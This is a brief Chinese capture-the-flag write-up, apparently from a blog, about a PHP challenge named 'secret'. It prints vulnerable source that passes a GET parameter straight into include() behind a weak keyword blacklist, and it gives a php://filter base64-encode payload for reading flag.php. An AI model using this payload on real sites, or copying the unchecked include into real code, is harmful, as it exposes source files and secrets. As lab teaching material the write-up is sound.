本文探讨了一次Web安全实践，涉及到PHP文件包含漏洞的利用与防范。通过查看源码，发现一个可能的flag文件。在尝试访问secret.php时被重定向，通过抓包工具拦截请求，揭示了隐藏的PHP文件。通过直接访问flag.php以及使用base64编码方式，最终获取了flag。此过程展示了Web安全中的文件包含漏洞利用技巧。
Secret 意为秘密,可知我们需要在网页中寻找到隐藏的flag文件
启动环境打开靶机
直接查看源码,发现一个文件
打开后点击 secret 但是会直接跳转到 end.php 并且提示查阅结束,说明页面跳转过快,需要手动抓放包来查看
经过拦截显示出隐藏 php 文件,访问后出现源码
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
直接使用 ?file=flag.php
再尝试使用 base64 形式访问
?file=php://filter/read=convert.base64-encode/resource=flag.php
获取一段 base64 编码
翻译后得出flag
扫一扫
595
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
